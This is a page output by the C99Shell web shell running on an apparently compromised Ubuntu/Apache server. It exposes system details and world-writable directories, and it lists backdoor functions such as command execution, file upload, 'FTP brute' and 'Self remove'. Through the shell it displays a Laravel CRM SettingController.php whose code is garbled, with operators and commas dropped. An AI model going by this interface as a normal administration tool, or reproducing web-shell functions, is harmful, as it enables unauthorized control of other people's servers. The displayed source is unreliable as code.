!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Settings/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SettingController.php (2.35 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Settings;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Support\Collection;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Core\Menu\MenuItem;

class 
SettingController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\View\View
     */
    
public function index()
    {
        return 
view('admin::settings.index');
    }

    
/**
     * Search for settings.
     */
    
public function search(): ?JsonResponse
    
{
        
$query strtolower(request()->query('query'));

        if (empty(
$query)) {
            return 
response()->json(['data' => []]);
        }

        
$results $this->searchMenuItems($this->getSettingsConfig(), $query);

        return 
response()->json([
            
'data' => $results->values(),
        ]);
    }

    
/**
     * Recursively search through menu items and children.
     *
     * @param  Collection<int, MenuItem>  $menuItems
     * @return Collection<int, array<string, mixed>>
     */
    
protected function searchMenuItems(Collection $menuItemsstring $query): Collection
    
{
        
$results collect();

        foreach (
$menuItems as $item) {
            if (
$this->matchesQuery($item$query)) {
                
$results->push([
                    
'name' => $item->getName(),
                    
'url'  => $item->getUrl(),
                    
'icon' => $item->getIcon(),
                    
'key'  => $item->getKey(),
                ]);
            }

            if (
$item->haveChildren()) {
                
$childResults $this->searchMenuItems($item->getChildren(), $query);

                
$results $results->merge($childResults);
            }
        }

        return 
$results;
    }

    
/**
     * Determine if the menu item matches the query.
     */
    
protected function matchesQuery(MenuItem $itemstring $query): bool
    
{
        
$query strtolower($query);
        
$url strtolower($item->getUrl());

        if (
            ! 
$url
            
|| ! str_contains($url$query)
        ) {
            return 
false;
        }

        return 
true;
    }

    
/**
     * Get the settings configuration.
     */
    
protected function getSettingsConfig(): Collection
    
{
        return 
menu()
            ->
getItems('admin')
            ->
filter(fn (MenuItem $item) => $item->getKey() === 'settings');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0101 ]--